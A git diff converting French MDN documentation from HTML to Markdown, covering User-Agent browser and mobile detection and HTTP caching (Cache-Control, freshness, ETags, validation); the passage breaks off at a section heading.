+| Moteur | Doit contenir | Ne doit pas contenir | +| ------- | --------------- | --------------------------------------------------------------------------------------------------------------- | +| Gecko | Gecko/xyz |   | +| WebKit | AppleWebKit/xyz | Attention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs | +| Presto | Opera/xyz | **Note :** Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink") | +| Trident | Trident/xyz | Internet Explorer place cette chaîne dans la partie _commentaire_ du User-Agent | +| Blink | Chrome/xyz |   | -

Version du moteur de rendu

+## Version du moteur de rendu -

La plupart des moteurs de rendu placent leur numéro de version dans la section MoteurDeRendu/NuméroDeVersion, à l'exception notable de Gecko. Gecko place le numéro de version dans la partie commentaire après la chaîne rv:. Depuis la version 14 pour mobile et 17 pour les ordinateurs, il pace aussi cette valeur dans la section Gecko/version (les versions précédentes y plaçaient la date de compilation, puis une date fixe appelée "Gecko Trail").

+La plupart des moteurs de rendu placent leur numéro de version dans la section _MoteurDeRendu/NuméroDeVersion_, à l'exception notable de Gecko. Gecko place le numéro de version dans la partie commentaire après la chaîne `rv:`. Depuis la version 14 pour mobile et 17 pour les ordinateurs, il pace aussi cette valeur dans la section `Gecko/version` (les versions précédentes y plaçaient la date de compilation, puis une date fixe appelée "Gecko Trail"). -

Système d'Exploitation

+## Système d'Exploitation -

Le système d'exploitation est dans la plupart des cas donné dans le User-Agent (il n'est pas donné dans des systèmes orientés web tels que Firefox OS) mais sous un format très variable. C'est une chaîne encadrée par des point-virgules, dans la partie commentaire du User-Agent. Cette chaîne est spécifique à chaque navigateur. Elle indique le nom du système d'exploitation et souvent sa version et des informations sur le matériel (32 ou 64 bits, ou Intel/PPC pour Mac).

+Le système d'exploitation est dans la plupart des cas donné dans le User-Agent (il n'est pas donné dans des systèmes orientés web tels que Firefox OS) mais sous un format très variable. C'est une chaîne encadrée par des point-virgules, dans la partie commentaire du User-Agent. Cette chaîne est spécifique à chaque navigateur. Elle indique le nom du système d'exploitation et souvent sa version et des informations sur le matériel (32 ou 64 bits, ou Intel/PPC pour Mac). -

Comme pour le reste, ces chaînes peuvent changer dans le futur, elles doivent seulement être utilisées en conjonction avec la détection de navigateurs existants. Une veille technologique doit s'effectuer pour adapter le script de détection lorsque de nouvelles versions des navigateurs sortent.

+Comme pour le reste, ces chaînes peuvent changer dans le futur, elles doivent seulement être utilisées en conjonction avec la détection de navigateurs existants. Une veille technologique doit s'effectuer pour adapter le script de détection lorsque de nouvelles versions des navigateurs sortent. -

Mobile, tablette ou ordinateur

+### Mobile, tablette ou ordinateur -

La raison la plus courante de détecter le User-Agent et de déterminer sur quel type d'appareil fonctionne le navigateur. Le but est de servir un code HTML différent selon le type d'appareil.

+La raison la plus courante de détecter le User-Agent et de déterminer sur quel type d'appareil fonctionne le navigateur. Le but est de servir un code HTML différent selon le type d'appareil. -
    -
  • Ne partez jamais du principe qu'un navigateur ne fonctionne que sur un seul type d'appareil. En particulier, ne pas définir de paramètre par défaut selon le navigateur.
    • -
  • N'utilisez jamais la chaîne dédiée au système d'exploitation pour déterminer si le navigateur est sur un mobile, une tablette ou un ordinateur. Le même système d'exploitation peut fonctionner sur plusieurs types d'appareil (par exemple, Android fonctionne aussi bien sur des tablettes que sur des téléphones).
    • -
+- Ne partez jamais du principe qu'un navigateur ne fonctionne que sur un seul type d'appareil. En particulier, ne pas définir de paramètre par défaut selon le navigateur. +- N'utilisez jamais la chaîne dédiée au système d'exploitation pour déterminer si le navigateur est sur un mobile, une tablette ou un ordinateur. Le même système d'exploitation peut fonctionner sur plusieurs types d'appareil (par exemple, Android fonctionne aussi bien sur des tablettes que sur des téléphones). -

Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile :

+Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile : - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User Agent des navigateurs courants
NavigateurRègleExemple
Mozilla (Gecko, Firefox)Chaîne Mobile ou Tablet dans le commentaireMozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0
Basé sur WebKit (Android, Safari)Chaîne Mobile Safari hors du commentaireMozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Basé sur Blink (Chromium, Google Chrome, Opera 15+)Chaîne Mobile Safari token hors du commentaireMozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047
Basé sur Presto (Opera 12-) -

Chaîne Opera Mobi/xyz dans le commentaire (Opera 12-)

- 		-

Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50

-
Internet ExplorerChaîne IEMobile/xyz dans le commentaireMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
 + User Agent des navigateurs courants +
NavigateurRègleExemple
Mozilla (Gecko, Firefox) + Chaîne Mobile ou Tablet + dans le commentaire + Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0
Basé sur WebKit (Android, Safari) + Chaîne Mobile Safari + hors du commentaire + + Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) + AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 +
Basé sur Blink (Chromium, Google Chrome, Opera 15+) + Chaîne Mobile Safari token + hors du commentaire + + Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) + AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile + Safari/537.36 OPR/20.0.1396.72047 +
Basé sur Presto (Opera 12-) +

+ Chaîne Opera Mobi/xyz + dans le commentaire (Opera 12-) +

+ 		+

+ Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) + Presto/2.9.201 Version/11.50 +

+
Internet ExplorerChaîne IEMobile/xyz dans le commentaire + Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; + IEMobile/9.0) +
-

En résumé, nous recommandons de chercher la chaîne "Mobi" dans le User-Agent pour détecter un appareil mobile.

+En résumé, nous recommandons de chercher la chaîne "Mobi" dans le User-Agent pour détecter un appareil mobile. -

{{note("Si l'appareil est suffisamment grand pour ne pas être indiqué “Mobi“, il est préférable de servir la version du site pour ordinateur. De toute manière, supporter les interactions tactiles pour un site “pour ordinateur“ est une bonne pratique. En effet, de plus en plus d'ordinateurs sont équipés d'écrans tactiles.")}}

+{{note("Si l'appareil est suffisamment grand pour ne pas être indiqué “Mobi“, il est préférable de servir la version du site pour ordinateur. De toute manière, supporter les interactions tactiles pour un site “pour ordinateur“ est une bonne pratique. En effet, de plus en plus d'ordinateurs sont équipés d'écrans tactiles.")}} diff --git a/files/fr/web/http/caching/index.md b/files/fr/web/http/caching/index.md index adcab8ef8d..ff8267e065 100644 --- a/files/fr/web/http/caching/index.md +++ b/files/fr/web/http/caching/index.md @@ -8,148 +8,141 @@ tags: translation_of: Web/HTTP/Caching original_slug: Web/HTTP/Cache --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Les performances des sites et applications web peuvent être significativement améliorées en réutilisant les ressources déjà collectées précédemment. Les caches web réduisent la latence et le trafic du réseau, et ainsi diminuent le temps nécessaire à l'affichage de la représentation d'une ressource. En utilisant la mise en cache HTTP, les sites web deviennent plus réactifs.

+Les performances des sites et applications web peuvent être significativement améliorées en réutilisant les ressources déjà collectées précédemment. Les caches web réduisent la latence et le trafic du réseau, et ainsi diminuent le temps nécessaire à l'affichage de la représentation d'une ressource. En utilisant la mise en cache HTTP, les sites web deviennent plus réactifs. -

Différents types de caches

+## Différents types de caches -

La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps.

+La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps. -

Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un cache privé est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web.

+Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un _cache partagé_ est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un _cache privé_ est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web. -

Ce que permet un cache, avantages et inconvénients des caches privés ou partagés.

+![Ce que permet un cache, avantages et inconvénients des caches privés ou partagés.](http_cache_type.png) -

Caches de navigateur privés

+### Caches de navigateur privés -

Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via HTTP par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache.

+Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via [HTTP](/fr/docs/Web/HTTP "en/HTTP") par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache. -

Caches de proxy partagés

+### Caches de proxy partagés -

Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence.

+Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence. -

Cibles des opérations de  cache

+## Cibles des opérations de  cache -

La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache :

+La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache : -
    -
  • Résultat positif de requête de lecture : une réponse {{HTTPStatus(200)}} (OK) à une requête {{HTTPMethod("GET")}} contenant une ressource telle qu’un document HTML, une image ou un fichier.
    • -
  • Redirection permanente : une réponse {{HTTPStatus(301)}} (Moved Permanently).
    • -
  • Réponse d’erreur : une page de résultat {{HTTPStatus(404)}} (Not Found).
    • -
  • Résultat incomplet : une réponse {{HTTPStatus(206)}} (Partial Content).
    • -
  • Réponses autres que {{HTTPMethod("GET")}} si quelque chose est défini comme pouvant être utilisé comme clé de cache.
    • -
+- Résultat positif de requête de lecture : une réponse {{HTTPStatus(200)}} (OK) à une requête {{HTTPMethod("GET")}} contenant une ressource telle qu’un document HTML, une image ou un fichier. +- Redirection permanente : une réponse {{HTTPStatus(301)}} _(Moved Permanently)._ +- Réponse d’erreur : une page de résultat {{HTTPStatus(404)}} _(Not Found)_. +- Résultat incomplet : une réponse {{HTTPStatus(206)}} _(Partial Content)_. +- Réponses autres que {{HTTPMethod("GET")}} si quelque chose est défini comme pouvant être utilisé comme clé de cache. -

Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} ci-dessous.

+Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} [ci-dessous](#Varying_responses). -

Contrôle de la mise en cache

+## Contrôle de la mise en cache -

L'en-tête Cache-control

+### L'en-tête Cache-control -

Le {{HTTPHeader("Cache-Control")}} HTTP/1.1 Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses. Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournies.

+Le {{HTTPHeader("Cache-Control")}} HTTP/1.1 Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses. Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournies. -

Pas du tout de cache mémoire

+#### Pas du tout de cache mémoire -

Le cache ne doit rien stocker concernant la demande du client ou la réponse du serveur. Une demande est envoyée au serveur et une réponse complète est téléchargée à chaque fois.

+Le cache ne doit rien stocker concernant la demande du client ou la réponse du serveur. Une demande est envoyée au serveur et une réponse complète est téléchargée à chaque fois. -
Cache-Control: no-store
-Cache-Control: no-cache, no-store, must-revalidate
-
+ Cache-Control: no-store + Cache-Control: no-cache, no-store, must-revalidate -

Pas de cache

+#### Pas de cache -

Un cache enverra la demande au serveur d'origine pour validation avant de publier une copie en cache.

+Un cache enverra la demande au serveur d'origine pour validation avant de publier une copie en cache. -
Cache-Control: no-cache
+ Cache-Control: no-cache -

Caches privées et publiques

+#### Caches privées et publiques -

La directive "public" indique que la réponse peut être mise en cache par n'importe quel cache. Cela peut être utile si les pages avec une authentification HTTP ou des codes d’état de réponse qui ne sont pas normalement mis en cache doivent maintenant être mis en cache. En revanche, "privé" indique que la réponse est destinée à un seul utilisateur et ne doit pas être stockée par un cache partagé. Un cache de navigateur privé peut stocker la réponse dans ce cas.

+La directive "public" indique que la réponse peut être mise en cache par n'importe quel cache. Cela peut être utile si les pages avec une authentification HTTP ou des codes d’état de réponse qui ne sont pas normalement mis en cache doivent maintenant être mis en cache. En revanche, "privé" indique que la réponse est destinée à un seul utilisateur et ne doit pas être stockée par un cache partagé. Un cache de navigateur privé peut stocker la réponse dans ce cas. -
Cache-Control: private
-Cache-Control: public
-
+ Cache-Control: private + Cache-Control: public -

Expiration

+#### Expiration -

La directive la plus importante ici est "max-age = <secondes>", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle. Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande. Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive. Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple.

+La directive la plus importante ici est "max-age = \", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle. Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande. Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive. Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple. -

Pour plus de détails, voir aussi la section Freshness ci-dessous..

+Pour plus de détails, voir aussi la section [Freshness](#Freshness) ci-dessous.. -
Cache-Control: max-age=31536000
+ Cache-Control: max-age=31536000 -

Validation

+#### Validation -

Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées. Pour plus de détails, voir la section Validation ci-dessous.

+Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées. Pour plus de détails, voir la section [Validation](#Cache_validation) ci-dessous. -
Cache-Control: must-revalidate
+ Cache-Control: must-revalidate -

L'en-têtePragma

+### L'en-tête`Pragma` -

{{HTTPHeader ("Pragma")}} est un en-tête HTTP / 1.0. Il n'est pas spécifié pour les réponses HTTP et ne constitue donc pas un remplacement fiable pour l'en-tête général HTTP / 1.1 Cache-Control, bien qu'il se comporte de la même manière que Cache-Control: no-cache, si le champ d'en-tête Cache-Control est omis dans une requête. Utilisez Pragma uniquement pour une compatibilité ascendante avec les clients HTTP / 1.0.

+{{HTTPHeader ("Pragma")}} est un en-tête HTTP / 1.0. Il n'est pas spécifié pour les réponses HTTP et ne constitue donc pas un remplacement fiable pour l'en-tête général HTTP / 1.1 Cache-Control, bien qu'il se comporte de la même manière que Cache-Control: no-cache, si le champ d'en-tête Cache-Control est omis dans une requête. Utilisez Pragma uniquement pour une compatibilité ascendante avec les clients HTTP / 1.0. -

Fraîcheur (Freshness)

+## Fraîcheur (Freshness) -

Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("cache eviction"). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour.   Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness);  Aprés son expiration, elle est considérée périmée (stale). Les algoritmes d'éviction privilégient souvent les ressources fraîches.  Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un  {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante.

+Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("_cache eviction"_). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour.   Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness);  Aprés son expiration, elle est considérée périmée (_stale_). Les algoritmes d'éviction privilégient souvent les ressources fraîches.  Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un  {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante. -

Ici un exemple de ce processus avec un cache de proxy partagé :

+Ici un exemple de ce processus avec un cache de proxy partagé : -

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

+![Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.](http_staleness.png) -

Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "Cache-control: max-age=N" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas),  on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce Expires existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête Date moins la valeur de l'en-tête Last-modified divisée par 10.

+Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "`Cache-control: max-age=N`" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas),  on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce `Expires` existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête `Date` moins la valeur de l'en-tête `Last-modified` divisée par 10. -

Le temps d'expiration s'organise comme ceci :

+Le temps d'expiration s'organise comme ceci : -
expirationTime = responseTime + freshnessLifetime - currentAge
-
+ expirationTime = responseTime + freshnessLifetime - currentAge -

Où responseTime est le moment auquel a été reçue la réponse selon le navigateur.

+Où `responseTime` est le moment auquel a été reçue la réponse selon le navigateur. -

Ressources revues et corrigées

+### Ressources revues et corrigées -

Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web.  Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur.  C'est possible avec des ressources mises à jour régulièrement ou trés souvent mais ça devient problématique pour les ressources mises à jour trés rarement.  Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web :  les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite.

+Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web.  Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur.  C'est possible avec des ressources mises à jour régulièrement ou trés souvent mais ça devient problématique pour les ressources mises à jour trés rarement.  Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web :  les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite. -

Les développeurs Web ont inventé une technique que Steve Sounders a appelée revving (source). Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration trés éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web.  Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi.

+Les développeurs Web ont inventé une technique que Steve Sounders a appelée _revving_ ([source](https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)). Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration trés éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web.  Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi. -

Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est trés important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML.

+Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est trés important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML. -

How the revved cache mechanism works.

+![How the revved cache mechanism works.](http_revved_fix_typo.png) -

La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme  1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date.

+La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme  1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date. -

Validation de cache

+## Validation de cache -

La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête  "Cache-control: must-revalidate". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans Advanced->Cache . Il y a une option pour forcer la validation chaque fois qu'un document est chargé.

+La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête  "`Cache-control: must-revalidate`". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans` Advanced->Cache` . Il y a une option pour forcer la validation chaque fois qu'un document est chargé. -

Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort (strong validator) soit un faible (weak validator).

+Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort _(strong validator_) soit un faible (_weak validator_). -

ETags

+### ETags -

L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "opaque-to-the-user agent"  qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne  représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête ETag est une partie de la réponse pour une ressource, le client peut délivrer un  {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache.

+L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "*opaque-to-the-user agent"*  qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne  représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête `ETag` est une partie de la réponse pour une ressource, le client peut délivrer un  {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache. -

L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête  Last-Modified est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache.

+L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête  `Last-Modified` est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache. -

Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal  {{HTTPStatus(200)}} OK, ou bien retourner un statut {{HTTPStatus(304)}} Not Modified (avec un corps de réponse vide)  pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache.

+Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal  {{HTTPStatus(200)}} `OK`, ou bien retourner un statut {{HTTPStatus(304)}} `Not Modified` (avec un corps de réponse vide)  pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache. -

Varier les réponses

+## Varier les réponses -

